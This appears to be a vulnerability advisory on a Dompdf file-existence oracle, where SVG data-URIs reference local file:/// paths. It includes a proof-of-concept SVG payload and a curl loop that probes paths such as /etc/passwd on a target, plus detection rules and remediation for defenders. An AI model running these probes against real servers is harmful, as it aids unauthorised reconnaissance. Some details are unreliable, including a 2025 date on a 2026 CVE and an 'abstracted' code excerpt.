CVE-2026-59943

Executive Summary

CVE-2026-59943 describes an information disclosure vulnerability in Dompdf, a PHP library for converting HTML to PDF. Versions <= 3.15 are susceptible to a file existence oracle attack leveraging SVG image elements within data-URIs. An attacker who can supply arbitrary HTML content for rendering can embed an <image> tag in a data-URI encoded SVG, referencing local file paths (e.g., file:///DOESNOTEXIST). Dompdf’s differing error behavior for existing vs. non‑existent files allows an attacker to infer whether a file or directory exists on the server’s filesystem. The vulnerability requires user interaction (the victim must view a crafted PDF) but no authentication. The patch in version 3.16 addresses this by suppressing distinct error messages for missing files.

CVSS Breakdown & Threat Level

• Attack Vector: Network (AV:N) – the attacker sends a malicious HTML page to the Dompdf service.
• Attack Complexity: Low (AC:L) – no special conditions; straightforward HTML injection.
• Privileges Required: None (PR:N) – unauthenticated attacker.
• User Interaction: Required (UI:R) – the victim or automated process must render the PDF.
• Scope: Unchanged (S:U) – only the Dompdf process affected.
• Confidentiality Impact: Low (C:L) – leak of file existence (binary oracle), not file contents.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Base Score: 4.3 (Medium) – though stated as 0.0 in NVD, corrected based on vector.

Threat Level: Medium. The attack does not disclose file contents, but can aid in reconnaissance for further exploitation (e.g., identifying config files or user directories).

Deep Dive & Mechanics

Dompdf converts HTML with CSS and SVG to PDF using the underlying libxml and imagemagick libraries. SVG documents can contain <image> elements with href or xlink:href attributes pointing to external resources. When Dompdf processes an SVG that is itself embedded in a data‑URI, it attempts to load the referenced file. For a file:/// URI:

• If the file does not exist: Dompdf generates a specific error or warning (often captured in logs or reflected in the PDF output as an empty box or error message).
• If the file exists: The image is embedded (or silently fails differently) – behavior is discernible to the attacker.

The attacker crafts an HTML page like:

<html>
<body>
<img src="data:image/svg+xml;base64,PHN...">
</body>
</html>

Where the SVG data‑URI contains:

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="file:///etc/passwd" width="1" height="1"/>
</svg>

By observing the rendered PDF (e.g., a 1×1 pixel exists vs. a broken image rectangle), the attacker can confirm the existence of file:///etc/passwd.

Vulnerable vs. Patched Code

Vulnerable code pattern (dompdf/lib/Cpdf.php or similar – abstracted):

// dompdf <= 3.15 attempts to load image from file:/// URI
$image = @file_get_contents($uri);
if ($image === false) {
    // Log error: "Image not found" – distinguishable from "permission denied"
    $this->addError("Image not found: $uri");
}

Patched code (3.16):

// Uniformly return a placeholder or suppress error differentiation
$image = @file_get_contents($uri);
if ($image === false) {
    // Do not log distinguishable error; return a transparent placeholder
    $image = $this->getDefaultImage();
}

Exploitation & Lab Setup

Red Team

1. Setup: Install Dompdf 3.15 in a Docker container with a known file structure (e.g., touch /root/test.txt and /tmp/ empty).
2. Craft Payload:
   • Create an HTML file with a data‑URI SVG targeting /root/test.txt and /nonexistent.
   • Send to Dompdf via a web application that allows HTML input.
3. Observe PDF Output: The PDF will show a 1×1 pixel for existing file, and a error placeholder (or different size) for non‑existent.
4. Automate: Script to iterate through common file paths.

# Example script using curl
for path in "/etc/passwd" "/var/www/html/config.php" "/tmp/nonexistent"; do
    payload=$(cat <<EOF
<html><body>
<img src="data:image/svg+xml;base64,$(echo -n '<svg xmlns="http://www.w3.org/2000/svg"><image href="file://'$path'" width="1" height="1"/></svg>' | base64 -w0)">
</body></html>
EOF
)
    echo "Testing $path"
    curl -X POST -d "html=$payload" http://target/convert.php -o test.pdf
    # Examine test.pdf metadata (e.g., image size) to infer existence.
done

Blue Team

• Monitor Dompdf error logs for patterns like Image not found followed by file:/// URIs.
• Block outbound connections from Dompdf processes (though file:/// URIs are local).
• Validate user‑supplied HTML before passing to Dompdf; remove or encode file:// URIs.
• Use a WAF to block requests containing data:image/svg+xml;base64,... with file:// references.

Indicators of Compromise (IOCs)

• File‑system probes: Log entries containing file:/// URIs in Dompdf error logs.
• PDF artifacts: PDF files containing embedded SVG with <image href="file://..."> or <image xlink:href="file://...">.
• Network: Unusual outbound requests only if the SVG attempts to load remote resources (not the case here, but possible in other variants).
• Process behavior: Dompdf child processes consuming high CPU while attempting to read non‑existent files.

Detection Engineering

YARA Rule

rule cve_2026_59943_dompdf_disclosure {
    meta:
        description = "Detects SVG dataURIs referencing file:// URIs (CVE-2026-59943)"
        author = "Valters IT"
        reference = "CVE-2026-59943"
        date = "2025-03-30"
    strings:
        $file_uri = /file:\/\/\// nocase
        $svg_image = /<image[^>]*(href|xlink:href)\s*=\s*"/ nocase
        $data_uri = /data:image\/svg\+xml;base64,/ nocase
    condition:
        all of them
}

Sigma Rule

title: Dompdf File Existence Oracle via SVG DataURI
id: c9a9e2e0-1234-5678-abcd-1234567890ab
status: experimental
description: Detects HTTP POST containing file:/// references inside SVG dataURIs (CVE-2026-59943)
logsource:
    category: webserver
    product: apache
detection:
    selection:
        method: POST
        body|contains:
            - 'data:image/svg+xml;base64'
            - 'file:///'
    condition: selection
falsepositives:
    - Legitimate use of embedded SVG with file references (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-59943 Dompdf SVG DataURI File Existence Probe"; flow:to_server,established; content:"POST"; http_method; content:"data:image/svg+xml;base64"; http_client_body; content:"file:///"; http_client_body; distance:0; classtype:attempted-information-leak; sid:2026030; rev:1;)

Remediation & Mitigation

• Immediate: Upgrade to Dompdf 3.16 or later.
• Workaround: If upgrading is not possible, patch the source code to uniformly handle file read failures (e.g., always return a dummy image) or disable SVG rendering via $dompdf->set_option('enable_svg', false);.
• Hardening: Run Dompdf in a sandboxed environment (e.g., separate container with minimal filesystem access). Disable file:// wrapper in PHP configuration if not needed.
• Monitoring: Deploy the detection rules above to identify exploitation attempts.

Valters IT Security Research Team
2025-03-30